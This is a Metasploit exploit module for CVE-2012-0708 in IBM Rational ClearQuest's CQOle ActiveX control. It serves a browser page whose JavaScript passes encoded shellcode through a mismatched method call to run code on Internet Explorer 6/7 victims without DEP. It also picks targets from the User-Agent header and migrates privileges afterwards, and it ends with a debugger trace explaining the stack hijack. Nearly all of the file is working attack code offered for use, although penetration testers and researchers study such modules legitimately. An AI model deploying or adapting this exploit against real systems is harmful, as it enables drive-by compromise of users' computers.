modules/exploits/windows/browser/clear_quest_cqole.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
#include Msf::Exploit::Remote::BrowserAutopwn
#autopwn_info({
# :ua_name => HttpClients::IE,
# :ua_minver => "6.0",
# :ua_maxver => "7.0",
# :javascript => true,
# :os_name => OperatingSystems::Match::WINDOWS,
# :classid => "{94773112-72E8-11D0-A42E-00A024DED613}",
# :method => "RegisterSchemaRepoFromFileByDbSet",
# :rank => NormalRanking
#})
def initialize(info={})
super(update_info(info,
'Name' => "IBM Rational ClearQuest CQOle Remote Code Execution",
'Description' => %q{
This module exploits a function prototype mismatch on the CQOle ActiveX
control in IBM Rational ClearQuest < 7.1.1.9, < 7.1.2.6 or < 8.0.0.2 which
allows reliable remote code execution when DEP isn't enabled.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrea Micalizzi aka rgod', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0708' ],
[ 'BID', '53170' ],
[ 'OSVDB', '81443'],
[ 'ZDI', '12-113' ],
[ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21591705' ],
[ 'URL', 'https://www.rapid7.com/blog/post/2012/07/11/it-isnt-always-about-buffer-overflow' ]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
[
# cqole.dll 7.1100.0.150
[ 'Automatic', {} ],
[ 'IE 6 / IE7 (No DEP)', {} ], # Because of the nature of the vulnerability no DEP is a requisite
],
'Privileged' => false,
'DisclosureDate' => '2012-05-19',
'DefaultTarget' => 0))
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[1] #IE 7 on Windows XP
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[1] #IE 7 on Windows Vista
else
return nil
end
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end
js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(my_target.arch))
object_id = rand_text_alpha(rand(8) + 4)
dbset_value = rand_text_alpha(rand(8) + 4)
var_payload = rand_text_alpha(rand(8) + 4)
html = <<-EOS
<html>
<body>
<object id='#{object_id}' classid='clsid:94773112-72E8-11D0-A42E-00A024DED613'></object>
<script language="JavaScript">
var #{var_payload} = unescape("#{js_code}")
#{object_id}.RegisterSchemaRepoFromFileByDbSet("#{dbset_value}", #{var_payload});
</script>
</body>
</html>
EOS
html = html.gsub(/^ {4}/, '')
print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
=begin
* RegisterSchemaRepoFromFile and no RegisterSchemaRepoFromFileByDbSet is called:
Breakpoint 0 hit
eax=3190b1a0 ebx=00000000 ecx=03015cf0 edx=7835f5d2 esi=0013e200 edi=0000000c
eip=78371062 esp=0013e204 ebp=0013e2b4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
MFC80U!_AfxDispatchCall+0xe:
78371062 ffd0 call eax {cqole!OAdSession::RegisterSchemaRepoFromFile (3190b1a0)}
* RegisterSchemaRepoFromFile prototype (it is going to be executed):
.text:31865E40 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFile(wchar_t const *)
his ret is: retn 4
* RegisterSchemaRepoFromFileByDbSet prototype (it should be executed):
.text:31866280 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFileByDbSet(wchar_t const *, wchar_t const *)
his ret is: retn 8
* When RegisterSchemaRepoFromFile returns to MFC80U!_AfxDispatchCall it is what happens:
0:000> p
eax=00186864 ebx=00000000 ecx=442d618d edx=00070001 esi=0013e200 edi=0000000c
eip=78371064 esp=0013e208 ebp=0013e2b4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MFC80U!_AfxDispatchCall+0x10:
78371064 c3 ret
0:000> dd esp
0013e208 001dcff4 7835f5d2 fffffffe 78336a3a
ESP is pointing to the second argument of RegisterSchemaRepoFromFileByDbSet and no to the stored EIP on
the stack. The ret from MFC80U!_AfxDispatchCall allows to get control on a reliable way when DEP is
disabled
=end